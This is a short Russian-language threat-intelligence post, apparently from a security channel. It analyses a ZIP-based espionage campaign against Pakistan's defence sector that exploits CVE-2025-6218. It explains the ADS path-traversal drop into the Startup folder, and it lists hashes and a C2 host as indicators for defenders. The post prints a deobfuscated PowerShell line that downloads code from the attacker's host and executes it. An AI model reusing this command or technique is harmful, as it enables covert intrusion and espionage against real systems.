⚡️ Целевая кибершпионажная атака на оборонный сектор Пакистана с использованием CVE-2025-6218 🇵🇰🎯

На ANY[.]RUN обнаружен свежий ZIP-архив, направленный против Министерства обороны и ВВС Пакистана 🇵🇰. Вредоносная кампания примечательна техникой закрепления в системе через эксплуатацию уязвимости архиваторов. 🛡⚙️

💥 Как устроена атака:
1️⃣ Жертва получает архив с фальшивым инвойсом от правительственного органа (PPRA Pakistan). Внутри виден лишь файл Payment_Receipt.pdf.
2️⃣ Однако архив содержит 23 альтернативных потока данных NTFS (ADS) с разной глубиной техники Path Traversal (перехода по директориям): .._.._AppData_Roaming_..._Startup_Payment_Receipt.lnk:$DATA. 📁🚡
3️⃣ При распаковке уязвимым архиватором вредоносный ярлык скрытно дропается прямиком в папку Автозагрузки (Startup) пользователя.
4️⃣ Сам LNK-файл содержит обфусцированную PowerShell-команду (закодированную в байтовые массивы для обхода антивирусов). 💻🕵️‍♂️

После деобфускации логика выглядит так:

Invoke-RestMethod "docs[.]files-windows[.]top/j658K" | powershell;
& "C:\Program Files\Google\Chrome\Application\chrome.exe" https://epms[.]ppra.gov[.]pk/...

Скрипт незаметно скачивает и выполняет в памяти следующий этап малвари (Payload), а для отвода глаз открывает в Chrome реальную страницу тендера на правительственном сайте Пакистана. Подтверждает точечный характер атаки и то, что первые загрузки файла шли из Пакистана. 🗺🌐

🚨 Индикаторы компрометации (IoCs):

ZIP-архив MD5: 563442c7538069cc5630fed7a947d826
Вредоносный LNK MD5: 49069ca3d2bd90d40660ca3bdc517bff
Документ-приманка (PDF) MD5: 1d6fb7793bfee626228801057eb79cbc
C2 Хост: docs.files-windows[.]top

#ti@qcakz